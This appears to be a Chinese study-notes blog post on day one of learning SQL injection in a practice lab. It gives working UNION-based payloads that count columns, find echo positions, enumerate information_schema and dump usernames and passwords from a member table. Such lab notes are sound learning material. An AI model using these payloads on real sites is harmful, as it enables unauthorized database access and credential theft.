SQL注入第一天

📅 2026/7/31 4:08:46 👁️ 阅读次数 📝 编程学习
SQL注入第一天

1.报错注入:

输入单引号后直接显示数据库错误:

?id=1'abcde

2. 联合查询注入:

先判断字段数量:

?id=1 ORDER BY 1 ?id=1 ORDER BY 2 ?id=1 ORDER BY 3 ?id=1 ORDER BY 4

从正常到报错的临界值可以确定字段数量。例如ORDER BY 4报错,通常表示查询有3列。

测试回显位置:

?id=-1 UNION SELECT 1,2,3

页面显示哪个数字,哪个位置就是回显位。

在靶场中验证数据库信息:(假设是2,3)

?id=-1 UNION SELECT 1,database(),version()

知识点:

MySQL 的information_schema

information_schema:MySQL 5.0 以上版本自带的系统数据库,保存数据库结构信息,不直接保存业务数据。

information_schema.schemata:记录数据库名称。

information_schema.tables:记录各数据库中的表。

information_schema.columns:记录各表中的字段。

.表示层级关系。例如:xiaoxiao.user:表示xiaoxiao数据库中的user表。

获取数据库基本信息:

version() -- 数据库版本 database() -- 当前数据库名 user() -- 数据库当前用户 @@version_compile_os -- 数据库运行系统

得出库名为mozhe_Discuz_StormGroup

?id=1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

解释:

where table_schema='mozhe_Discuz_StormGroup':

只筛选出属于mozhe_Discuz_StormGroup这个库的

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

为什么要改用group_concat
因为union select时,如果原始页面只展示结果集的第 1 行数据,那么用table_name就只能看到一个表。使用group_concat()可以把所有表名合并到同一行的同一列中,这样无论页面只抓取哪一行,都能把全部表名带出来,信息收集效率更高

得出表之后就查列名

?id=-1 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name='StormGroup_member'

得到列名之后就可以查找敏感字段了:(账号,密码)

?id=1 union select 1, name, password, 4 from stormgroup_member

补充:

?id=-1 union select 1, concat(name,0x3a,password), 3, 4 from StormGroup_member order by id limit X,1

limit x,1的语法含义

在 MySQL 中,limit x, 1的含义是:跳过前 X 条记录,然后只取接下来的 1 条记录

X 从 0 开始limit 0,1代表取第1条;limit 1,1代表取第2条;limit 2,1代表取第3条……以此类推。